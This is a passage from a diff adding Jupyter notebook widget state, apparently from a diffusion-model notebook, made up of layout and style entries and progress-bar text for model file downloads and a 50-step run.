+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d02fc695003f435e9ec25e5ab7eec2bc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e16097842da34cd0bc24cfaeab3de404",
+              "IPY_MODEL_0d2fba8088804ecab806472f5396f1bc",
+              "IPY_MODEL_8bef2ecbcbcf4ad1bb5e495a52ca2aa6"
+            ],
+            "layout": "IPY_MODEL_9a2aa30940934458ae53131db74a7406"
+          }
+        },
+        "d0c8dcdbf9f44ca1bc74ea1e2f127b0f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d1bf7fca5177409290ea45d701774d6d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d2598bdd44164f77a581fb0afad817f6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_23cd6b916dfe4e5faa4021cf02d07f53",
+            "placeholder": "​",
+            "style": "IPY_MODEL_d97f27872680454ba3574589b371ea97",
+            "value": "Downloading (…)cheduler_config.json: 100%"
+          }
+        },
+        "d26404f63c3240d28ed1af7527307317": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_7f29483722954a3697afb9cb24430e8c",
+              "IPY_MODEL_ad3538e88909423a9a8d109bd97745a5",
+              "IPY_MODEL_f1e7ac9f310140f0adac525362d99180"
+            ],
+            "layout": "IPY_MODEL_ce3ebc0beb214d9b9df35c37eff91505"
+          }
+        },
+        "d321be86c24d4a35a251d4ef7a75c24d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_73f2e3215913478aae13131aefadd0a5",
+            "placeholder": "​",
+            "style": "IPY_MODEL_64f6ec814be648d3ba69f94eb844a049",
+            "value": " 50/50 [00:30&lt;00:00,  1.80it/s]"
+          }
+        },
+        "d438504eef684317a6c09cc0b123d25d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d44653455b8a490997da5bfd8672cf7e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d78921386a5b493ab86718077b16a945": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d97f27872680454ba3574589b371ea97": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "da5028411a634a2eb2e1ed3fcc53ed6c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "dba967ac191d45a0b604e93f0dc1fffe": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dbccb67e488b40faa3719e8db6e562a2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_d2598bdd44164f77a581fb0afad817f6",
+              "IPY_MODEL_03fe79b7b7c5439c99fef039f96a831b",
+              "IPY_MODEL_9ac0da7a10a54fbe897b21184cdf154f"
+            ],
+            "layout": "IPY_MODEL_32e55f352157421aa3e1fef5819b3587"
+          }
+        },
+        "de35fccd4b4a433e8b468ef3981bede9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d0c8dcdbf9f44ca1bc74ea1e2f127b0f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_5e09f80f20554f419d925c5cdf55cc63",
+            "value": "Downloading (…)on_pytorch_model.bin: 100%"
+          }
+        },
+        "df83f20f558f43b9bf1e447316e9de4a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "dfdaf22078fd4385ab30060981d67666": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dff99876d1e3468bb3cbd97160ecd7a1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e16097842da34cd0bc24cfaeab3de404": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_45e95708fe6043c68fd25d8802778998",
+            "placeholder": "​",
+            "style": "IPY_MODEL_da5028411a634a2eb2e1ed3fcc53ed6c",
+            "value": "Downloading (…)ain/model_index.json: 100%"
+          }
+        },
+        "e288ede57ad84b2bb455ba18016c68d8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e68ae70236b04e5aa6c5de879ca81e9e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e8f385dcd70f40d28cd27ba5d7edcef8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_3bc08cdf09a84428a51955f2aa42ea30",
+              "IPY_MODEL_cb68043195a642b3a495d82d87ffd1b8",
+              "IPY_MODEL_0cf91d0dc45340f19f6a7a2804000145"
+            ],
+            "layout": "IPY_MODEL_dff99876d1e3468bb3cbd97160ecd7a1"
+          }
+        },
+        "e9e33bc9dfd843e88f9f56c0400b07e2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_9307ea294e42484eb32d8b07fddd33dd",
+              "IPY_MODEL_a509f68381854d7da52a21dde99a9f62",
+              "IPY_MODEL_406fd8a742b443968d3f2fc1d3dbfef1"
+            ],
+            "layout": "IPY_MODEL_03433d859a7a4f3cae64d9d0bf374643"
+          }
+        },
+        "eb182b33be95418fad1010ccf7b176ab": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_614b85aff85e47debadea7773583b8ab",
+              "IPY_MODEL_c6305a1adcd946d2a4c66c05e614bcf1",
+              "IPY_MODEL_d321be86c24d4a35a251d4ef7a75c24d"
+            ],
+            "layout": "IPY_MODEL_a99edd082dff4f928c3b75abf84ec0ec"
+          }
+        },
+        "ec377a46cf8647ff891a920c46897786": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ece36cbb62cd46a8b452fac32dce3493": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "edb8b182bc4a413185e754aae38ee93a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ede27ca6747240eeb41a9dbde664e8a7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_99777597ceee470ca8c8a34f4846435a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ca063f5b64d74bc9be303eebe7092f81",
+            "value": "Downloading (…)on_pytorch_model.bin: 100%"
+          }
+        },
+        "f0d04527bbe94bfdb91353827c2ad7db": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_016df28dd739433daa2c8d3b1706486c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_43aa766628a147548714ef986c9d979a",
+            "value": " 617/617 [00:00&lt;00:00, 3.81kB/s]"
+          }
+        },
+        "f1e7ac9f310140f0adac525362d99180": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9e1a5419468d4549a38b8d23aa14f6d3",
+            "placeholder": "​",
+            "style": "IPY_MODEL_98eab664cdee4999bb09af5abe60535f",
+            "value": " 807/807 [00:00&lt;00:00, 4.45kB/s]"
+          }
+        },
+        "f369cc94c2544de3acdbcd35cac6d393": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f3804bde7c974eaf90df71e9fdd3539b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "f7d7fb787f884822aa3e5cdbfab22b1d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "f8cc05786ad94dcca69f1fedf6d4aa4a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f9a2bf4d86ab403d9e1c7378e91bf467": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "faa6428f4b7b4cb996cc4d5ca9bcb38c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fc3fc7c8bb714f39a67963f2792b527d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
